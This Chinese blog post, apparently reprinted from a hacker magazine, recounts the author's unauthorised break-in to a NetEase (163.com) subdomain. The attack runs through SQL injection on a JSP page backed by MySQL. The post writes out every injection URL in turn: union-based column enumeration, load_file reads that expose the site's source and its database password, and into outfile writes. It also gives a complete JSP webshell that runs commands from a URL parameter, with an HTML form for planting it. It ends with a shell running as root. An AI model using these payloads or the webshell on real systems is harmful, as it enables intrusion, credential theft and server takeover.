对网易的一次入侵检测-可以看成是Jsp+mysql的入侵

信息来源:Neeao's Security Blog
已发表于黑客X档案

BY 剑心[B.C.T]
转载注明出处

163.com是国内一家比较出名的门户网站,提供包括邮箱等等在内的各种服务,这样繁多的服务,不知道会不会在哪些地方存在漏洞哦!正好最近学习了一些注入知识就想对这些门户网站做点小小的安全检测,不知道他们的脚本像不像他们名声一样那么厉害哦!
废话就不说了,我们就去找那些传递参数的页面看看会不会不小心有那么一个参数没有过滤,那么我们就有空子可以钻了哦!网易的脚本基本上是采取的jsp和Php的形式,主站看样子是静态的,就不说了,其他的站那么多的jsp和php应该有问题吧!Php注入也被人研究烂了,注入的时候被Php的那个特性拦着也相当的不舒服,所以干脆就去找jsp的脚本,希望能找到一些没有过滤的参数。找了能打两把CS的工夫还真让我找到一个页面http://XXX.163.com/wap/content.jsp?id=120 ,哈哈,看来是个数字类型的变量哦!就喜欢没有过滤的数字类型变量,因为如果能注入的话基本上没有什么阻碍!我们来看看能不能注入吧!提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=1
返回正常哦,如图1

接着提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2
返回一堆的jsp错误,如图2,

还搞到了web的路径,幸福!通过路径我们还知道这个系统是Linux类系统哦。

根据上面的两个推测很有可能这就是一个注入点啦!因为我们提交的and 1=1和and 1=2被当作Sql代码执行啦!如果参数没有做其他过滤的话,我们就可以在这里提交我们的注入代码啦!那么继续看看吧!因为jsp可以和很多数据库搭配,所以这里我们还是先来看看是什么数据库吧!提交:

http://XXX.163.com/wap/content.jsp?id=120/*剑心
返回结果如图3

,看来是支持/*注释了,支持/*注释的在这里就应该是mysql数据库了!既然知道了是mysql数据库,那么就来看看系统的版本吧,如果在4.0以上对猜表和注入是很有帮助的哦!提交:

http://XXX.163.com/wap/content.jsp?id=120 and ord(mid(version(),1,1))>51/*
返回正常的结果,看来是大于4.0版本的啦,也就是支持union查询的啦!因为这里语句的作用是取出版本的第一个字符,是大于3的,其中51是3的ASCII字符!既然支持union查询我们就开看看字段的个数吧!提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1/*
返回错误如图4

继续提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2/*
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3/*
……
到http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10/*
的时候返回正常结果如图5

看来是10个字段并且哪些字段会在页面显示也出来了!嘿嘿,现在能union查询了,就总的看下数据库的信息吧!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,version()/*
返回结果如图6

我们知道了数据库名字以及用户连接的名字以及数据库具体版本了哦!那么下一步该怎么做呢?看看用户那么特殊,这个用户很可能是管理员之类的角色哦!还是先看看权限够不够大,关键是能不能读写文件!提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,10 into outfile '/tmp/jnc.txt'/*
嘿嘿,注意这里跟Php的注入不同,jsp不会对提交的任何字符做转义处理哦!所以我们放心的提交就行了,从上面的例子中我们大约知道系统是Linux类的,所以写文件到/tmp/jnc.txt中,这个目录一般都是可写的。然后再提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file('/tmp/jnc.txt')/*

分别返回如图7

图8

看来是写文件和读文件都成功了!有File权限哦,在jsp环境下不受php下那种特性的影响可以在权限允许的范围之内随便写文件!既然权限有了,来判断下web和Mysql服务器是不是一个主机吧,是的话又可以免去猜测密码的痛苦了!web路径出来了那么我们就读web服务器上存在的文件,如果存在的话就应该是一个主机啦!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file('/home/project/web163/web/content.jsp')/*

读取我们的content.jsp,哈哈,如图9

成功返回啦!然后再读了几个文件都成功返回,说明是一个服务器哦!既然这样就客气啦!继续读吧!我们感兴趣的东西当然是密码了!查看刚才返回的源文件,我们发现里面包含了Function.jsp,于是去读Function.jsp的内容,提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file('/home/project/web163/web/function.jsp')/*
返回结果如图10

哈哈,看源文件得到了密码哦!得到了密码我们就去连接试试吧!打开自己的Mysql客户端连接上去,输入得到的密码结果如图11

Mysql拒绝了其他IP的登陆!虽然不能连Mysql但是我们不是已经有个注入点了么?还能写文件和读文件呢,那么就、从脚本上继续前进吧!
既然知道了web路径,又能写文件,那么能不能用into outfile导出一个webshell呢?试试吧!提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 into outfile '/home/project/web163/web/jnc.jsp'/*
但是结果很另人郁闷,写到/tmp/下就好用,写到web目录下不行,试了很多次都是这个结果,看来是权限的原因了!Linux很大的一个优点就是权限设置得很好,默认只有创建者才有权限修改文件,我们用的用户是Mysql的,当然不能在apache的目录下建立文件了!到这里入侵遇到了第一个阻碍,并且暂时没有办法解决!
我们是搞脚本安全的,一条路不行就还是回到脚本上来吧!去根目录加了个/admin提示403Forbiden错误,哈哈,这个是管理目录了!于是兴冲冲的提交login.jsp和login.html以及所有我觉得可能的后台登陆文件,但服务器都无情的给我一个404错误,那个郁闷哟!想从其他的后台得到点启示,猜测出后台的登陆路径,但是还是找不到后台的登陆文件,这条路也死在这里了!
到这里应该停下来想想了!听了会周杰伦的歌,忽然想到,Linux服务器本身是很安全的,但是不知道会不会存在人为的安全漏洞呢?我在一些其他的大点的网站上经常看到除了一些常用的目录之外,管理员还设置了test目录方便其他管理员调试脚本,并且这个目录的权限通常是设置成777的,也就是说Everyone可读可写的,如果存在这样的目录的话就……马上去网站上提交:

http://XXX.163.com/test/
404不存在
http://XXX.163.com/wap/test/
403 Forbidden,哈哈,真是CS暴头的感觉,居然存在啊!马上去提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 into outfile '/home/project/web163/web/test/jnc.txt'/*
等到返回错误的时候去访问http://XXX.163.com/wap/test/jnc.txt 如图12

哈哈,存在啊!看来真让我发现一个人为的安全隐患啊!这就是经验了!好了,可以导出为txt文件,那么导出成Php文件如何呢?去写了一个一句话木马导出成php文件,访问这个Php文件居然提示下载,看来web目录只支持jsp后缀的啦,那么我们只能导出成jsp文件了!于是马上去找jsp后门,找来找去找到个最短的如下:

<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
就是能执行个命令,执行形式是在Url里访问jnc.jsp?cmd=命令,因为我们是用into outfile导文件并且是在union查询里用的,所以要导出的内容必须在union的最后面,否则是不能得到我们结果的哦,在导之前我们还要将jsp的语句写到一行,不影响jsp的执行但是方便我们导出嘛!再看看,发现字符好象太长,Get可能满足不了要求,于是干脆自己写个Html吧!内容如下:

<form action=http://XXX.163.com/wap/content.jsp method=post>
<input name=id type=text size=1000>
<input type=submit>
</form>

然后提交栏里写上:

120 and 1=2 union select 1,2,3,4,5,6,7,8,9,'写在一行的木马语句' into outfile '/home/project/web163/web/test/jnc.jsp'/*,如图13

点提交之后我们去test目录看看,哈哈,我们的木马真的存在啦!提交:

http://XXX.163.com/wap/test/jsp3.jsp?cmd=id
返回结果如图14

哈哈居然是用Root启动的,权限是最大的啦!省得我们提权了!到此,对163.com的一次安全检测结束了!
通过上面的例子我们可以看到,尽管是小小的一个参数没有过滤,加上一些其他的安全原因,导致的结果可能就是服务器的沦陷,不仅仅是163.com的管理员要注意这个,希望所有的管理员都注意这个。

相关日志

楼被抢了 3 层了... 抢座Rss 2.0或者 Trackback

  • xwing

    拜一个 :)

  • 鱼鱼

    狂汗~
    有够长啊!!
    佩服一下剑心GG~

  • ato

    看得我是稀里糊涂得~~ :mad:

发表评论